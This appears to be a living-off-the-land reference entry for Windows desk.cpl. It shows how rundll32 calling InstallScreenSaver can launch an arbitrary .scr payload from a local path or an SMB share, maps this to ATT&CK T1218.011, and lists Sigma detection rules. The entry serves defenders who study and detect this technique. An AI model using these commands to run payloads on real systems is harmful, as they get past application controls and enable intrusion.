.. /Desk.cpl

Execute

Desktop Settings Control Panel

Paths:
C:\Windows\System32\desk.cpl
C:\Windows\SysWOW64\desk.cpl

Resources:
- https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt
- https://twitter.com/pabraeken/status/998627081360695297
- https://twitter.com/VakninHai/status/1517027824984547329
- https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files

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Detections:
- Sigma: file_event_win_new_src_file.yml
- Sigma: proc_creation_win_lolbin_rundll32_installscreensaver.yml
- Sigma: registry_set_scr_file_executed_by_rundll32.yml

Execute

1. Launch an executable with a .scr extension by calling the InstallScreenSaver function.

```
rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr
```

Use case: Launch any executable payload, as long as it uses the .scr extension.
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1218.011: Rundll32

2. Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.

```
rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr
```

Use case: Launch any executable payload, as long as it uses the .scr extension.
Privileges required: User
Operating systems: Windows 10, Windows 11
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